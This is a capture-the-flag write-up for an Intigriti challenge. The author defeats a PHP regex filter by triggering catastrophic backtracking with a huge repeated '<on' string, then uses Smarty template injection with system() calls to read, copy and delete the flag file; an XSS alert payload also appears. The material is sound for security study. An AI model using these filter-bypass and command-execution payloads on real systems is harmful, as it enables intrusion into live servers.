Logo
Published on

Intigriti challenge 1223 writeup

Authors

Source: Intigriti

This writeup was selected by Intigriti as one of the winners: Tweet

Solves: 28

Introduction

While I was preparing for my OSEP certification, chirstmas came early when the Intigriti December challenge dropped. This one was as interesting as the others, however offered a unique perspective and a new attack vector that I was not completely aware of.

Reconnaissance

The entry point is yet another simple web application with only an input field and a challenge that states:

You want the flag? You must beat my regex filter first /(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s.

Right off the bat we can assume that we will need to find a way to bypass the regex restrictions.

Landing

Entering "Hello" and subbmiting the value gets it displayed on the page, this hints towards some kind of HTML or SSTI vulnerability that we should be aiming for since we can also see that Smarty version: 4.3.4 is displayed, which is a popular PHP templating engine.

Source code analysis

Clicking on view source we can see the application logic which is indeed using Smarty in conjunction with PHP.

<?php
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s';

if(!isset($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->display('index.tpl');
    exit();
}

// returns true if data is malicious
function check_data($data){
    global $pattern;
    return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->assign('error', 'Malicious Inputs Detected');
    $smarty->display('index.tpl');
    exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

The logic is very simple:

  1. Checks if source is defined
    • Returns the source of the app and exits
  2. Sets up the Smarty templating engine
  3. Defines the regex to filter malicious input
  4. Checks if the POST data attribute is provided to the php script
    • If so, validates the input supplied against the regex and if it resolves to true returns Malicious Inputs Detected and exits to index.tpl
  5. If the regex does not match proceeds and builds the Smarty template and serves the content to the user and cleans up afterwards.

Right away we can see two potential areas as an attack vector:

  1. Bypassing the regex or tricking Smarty into compiling an incomplete tag as valid.
  2. Tryng to get to a LFI vulnerability via the Smarty templating functionality that writes on disk.

A quick analysis leads us to discard the latter and conclude that achieving LFI is not possible (no direct attack vector that can be leveraged from user input).

Regex analysis

The regular expression /(b)(onS+)(s*)=|javascript|<(|/|[^/>][^>]+|/[^>][^>]+)>|({+.*}+)/s can be broken down into several distinct parts for matching different patterns:

  1. (b)(onS+)(s*)=:

    • (b): Matches a word boundary, ensuring that the pattern captures whole words.
    • (onS+): Captures any word that begins with "on" followed by one or more non-whitespace characters (S). This is typically used to match HTML event handler attributes like onclick, onload, etc.
    • (s*): Matches zero or more whitespace characters. This allows for any amount of space (including none) between the event handler and the equal sign.
    • =: Matches the equal sign, which is typically part of HTML attribute assignment.
  2. javascript:

    • This part of the regex simply matches the literal string "javascript".
  3. <(|/|[^/>][^>]+|/[^>][^>]+)>:

    • < and >: Matches the opening and closing angle brackets.
    • (|/|[^/>][^>]+|/[^>][^>]+): A group with several alternatives:
      • An empty string, allowing for <>.
      • /: Matches a forward slash /, for closing tags like </>.
      • [^/>][^>]+: Matches any character that's not a forward slash or >, followed by one or more characters that are not >.
      • /[^>][^>]+: Matches a closing tag with additional characters, like </a>, </div>, etc.
  4. ({+.*}+):

    • {+: Matches one or more opening curly braces {.
    • .*: Matches any character (except newline), zero or more times.
    • }+: Matches one or more closing curly braces }.
  5. /s:

    • The s modifier allows the dot . in the regex to match newline characters as well.

Exploitation

The exploitation part led me through a lot of rabbit holes since I was tunneling around that I need to trick Smarty to somehow parse a partial tag. For the sake of science I will give some examples that were interesting.

Exploiting Smarty templating

TLDR: It is not possible to trick / change the delimiters in Smarty or get it to compile the template without supplying a valid closing tag. Disclaimer that this is based on my analysis, so still could be possible.

Error based reconnaissance

Supplying only { throws an interesting error and leaks some of the file structure to us.

Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "file:/tmp/smarty/templates/FOOa8nwlz" on line 1 "{" - Unexpected "{" <-- thrown in /tmp/smarty/templates/FOOa8nwlz on line 1

Reading the Smarty tags and documentation reveals the possibility of using modifiers which might perhaps help us escape the compiler and leak some values. We can see that we get Smarty to leak some info by suppling invalid arguments to a modifier function.

{assign var=pattern value="/a/s" scope=$smarty.version|nl2br

This initially had some promising input that acually reveals the value of the variable which is Smarty::SMARTY_VERSION, however since Smarty is a preprocessor for PHP we don't get to see the actual value until we compile and run the code so it gets replaced by PHP.

Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "file:/tmp/smarty/templates/FOOK8Ja7P" on line 1 "{assign var=pattern value="/a/s" scope=$smarty.version|nl2br" illegal value ''nl2br((string) Smarty::SMARTY_VERSION, (bool) 1)'' for "scope" attribute <-- thrown in /tmp/smarty/templates/FOOK8Ja7P on line 1

This rabbit hole wasted me so much time in trying to bypass the prepocessor with no avail. This was even more emphasized when the hint came out that stated

It doesn't matter how good your regex skills are for this one, you're gonna need something else.

So at this point I was stuck and traded ideas with Elieehel on Discord where we brainstormed and tried various options to bypass the compiler until eventually I got hinted by him that the attack vector might be ReDoS related.

Exploiting ReDoS

I have not encountered a ReDoS issue so far and was not fully aware of it to be honest, so I had to do some research on the logic behind it and what can be achieved by it. It was also a bit weird since the hint was pointing away from regex and the potential solution was regex related.

Reading the documentation and some examples I was able to find out that an improperly constructed regex can lead to catastrophic backtracking which is an interesting concept and probably not many developers pay attention to it. A quick summary would be:

Catastrophic regex backtracking occurs when a regular expression engine takes an excessive amount of time or computing resources to evaluate input strings that (nearly) match complex patterns with nested quantifiers. This problem typically arises in patterns that allow multiple paths to match the same input, leading to an exponential number of combinations for the engine to check, severely impacting performance.

This means that we need to further examine the regex and see potential areas of attack where we can cause the backtracking. Reading up on the PHP docs (asking ChatGPT) revealed to me that PHP has internal safeguards to avoid catastrophic backtracking, specifically it has a backtrack limit and recursion depth limit after which it throws an error. This means that if we get to this the regex might not evaluate to true for malicious input and proceed to the next line and render the template.

Now to the fun part, lets analyze /(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s.

Right away there are two areas that look suspicious:

  • <(|\/|[^\/>][^>]+|\/[^>][^>]+)>

    • This regex is designed to match patterns that resemble HTML tags or similar structures.
  • ({+.*}+)

    • This regex seems to be intended for matching curly braces with some content in between.
    • The construction {+ and }+ is unconventional and could lead to unexpected matches or performance issues, especially with the .* in the middle which can match any length of any character.

Exploiting via opening curly brace

Reading up on ReDoS I came across this site that can be used to test the steps an expression takes. My first try was experimenting around with { and got a hit right away. Entering a lot of unclosed opening curly braces leads to catastrophic backtracking.

{.repeat(555)
Curly backtrack

Now it is time to test it out with an example payload

{.repeat(2800)


<script>alert(1)</script>

This works and we get the alert.

Alert

This is great news, however this only leverages XSS and does not allow us to escape the browser context and read the flag so we need to find another way to backtrack and use curly braces instead of html tags in the exploit.

If there is a match in any part the expression it is resolved on the first iteration, so we cant just spam with { and eventually enter {}, this will resolve on the first iteration.This means we need to do it the other way around where we cause catastrophic backtracking with HTML tags and use curly braces afterwards.

Exploiting via opening HTML tags

At this point I was becoming a bit lazy after trying out numerous combinations of < </ and <= which had some backtracking but did not have enough iterations to bypass. Then I thought of searching for an automated ReDoS checker and stumbled upon this one.

Entering the regex and running the check revealed something intersting:

'p' + '<o'.repeat(38730)
p<o<o<o<o<o<o<o<o<o<o<o<o<o<o<....

Seems that I overlooked another section of the regex (\b)(on\S+)(\s*)= which was intended to detect some common XSS attack vectors such as <img src="x" onerror=alert(1); /> which could further increase the complexity of the checks.

So now I had a potential vector and also increased the complexity by adding <on to do the full match and got to a working exploit with around 500k characters. This time around the check displayed a timeout which is also a potential catastrophic backtrack occurence.

Timeout

Comparing the steps for the { combination with the <on combination there was a significant difference so that is why I had to add a lot of opening tags, specifically in the 500k numbers, my working exploit ended up being:

'<on'.repeat(168514)

Reading up on the Smarty documentation we can see that it allows execution of system commands via {system('$cmd')}. Time to construct and execute the payload

'<on'.repeat(168514)

`{system('cat /flag.txt')}`

This did not display anything, only a blank screen. I debugged this for a while and confirmed the command is executed by performing a curl request to a listener I set up, so I opted in to just copy the flag to the php dir and then cleanup afterwards. So the new payload became:

'<on'.repeat(168514)

`{system('cp /flag.txt ./test.php')}`

After this I quickly opened https://challenge-1223.intigriti.io/test.php and the flag was there INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}!

Flag

Now I quickly cleaned up by re-running the exploit to clean up after myself. Double checked afterwards and indeed got a 404.

'<on'.repeat(168514)

`{system('rm ./test.php')}`

Summary

This was an out of the ordinary challenge for me and introduced a new attack to my arsenal that I was not previously aware of, even when working as a QA and developing hobby projects where I constructed regexes without giving it a second thought on the security implications it might have.

Big shoutout to Elieehel for brainstorming with me and nudging me towards the right attack vector.